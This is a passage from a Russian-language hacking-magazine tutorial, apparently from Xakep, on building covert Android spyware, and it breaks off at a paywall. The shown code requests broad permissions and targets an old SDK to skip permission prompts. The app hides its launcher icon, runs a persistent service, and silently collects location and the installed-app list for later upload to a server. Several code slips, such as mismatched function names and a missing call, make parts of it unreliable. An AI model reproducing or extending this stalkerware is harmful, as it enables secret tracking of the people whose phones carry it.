Android принято называть рассадником вирусов и бэкдоров. Каждый день здесь выявляют более 8 тысяч новых образцов малвари. И эти цифры постоянно растут. Но задумывался ли ты, как эта малварь работает? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Итак, наша задача — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой зловред, наш пример при желании сможет наблюдать за целевым устройством и передавать информацию о нем на сервер.

Возможности будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все это приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

WARNING

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы ты сломал себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

 

Каркас

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи тебе придется выполнить самому (для этого потребуются кое-какие знания в разработке приложений для Android).

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создай приложение, указав в манифесте следующие разрешения:

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />

В build.gradle укажи compileSdkVersion 22 и targetSdkVersion 22. Так ты избавишь приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Создай пустую Activity и Service. В метод onStartCommand сервиса добавь строку return Service.START_STICKY. Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавь их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity
    android:name="com.example.app.MainActivity"
    android:label="@string/app_name" >
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

<service
    android:name="com.example.app.MainService"
    android:enabled="true"
    android:exported="false">
</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState)

    // Запускаем сервис
    startService(new Intent(this, MainService.class));

    // Отключаем Activity
    ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity");
    pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

 

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Android есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по Wi-Fi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Location getLastLocation(Context context) {
    LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

    android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
    android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

    long GPSLocationTime = 0;
    if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

    long NetLocationTime = 0;
    if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

    Location loc;
    if ( 0 < GPSLocationTime - NetLocationTime ) {
        loc = locationGPS;
    } else {
        loc = locationNet;
    }

    if (loc != null) {
        return loc;
    } else {
        return null;
    }
}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + "/location"

try {
    OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
    outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
    outputStreamWriter.close();
}
catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

 

Список установленных приложений

Получить список установленных приложений еще проще:

void dumpSMS(Context context) {
    String appsFile = context.getApplicationInfo().dataDir + "/apps"

    final PackageManager pm = context.getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

    try {
        PrintWriter pw = Files.writeLines(appsFile);

        for (ApplicationInfo packageInfo : packages) {
            if (!isSystemPackage(packageInfo))
                pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName);
        }

        pw.close();
    } catch (IOException e) {}
}

private boolean isSystemPackage(ApplicationInfo applicationInfo) {
    return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


2 комментария

  1. s00mbre

    02.11.2017 at 14:27

    Огромное спасибо! Как раз то, что искал.

  2. Андрей Пахомов

    08.11.2017 at 10:43

    Евгений, в этот раз вышло слабовато — всё это уже было в той или иной форме. Хотелось бы большое узнать про тонкости: многопоточность, особенности реализации. К примеру, как обойти ограничения в прошивках разных вендоров.
    Про камеру совсем не согласен, я уже разбирал работу с Camera2, там все не так страшно.
    https://xakep.ru/2016/03/29/android-hidden-shooting/

Оставить мнение

Check Also

Микросервисы по-микрософтовски. Пакуем приложения ASP.NET Core с помощью Docker

Кажется, Microsoft все больше и больше любит Linux! Приложения ASP.NET Core теперь по-наст…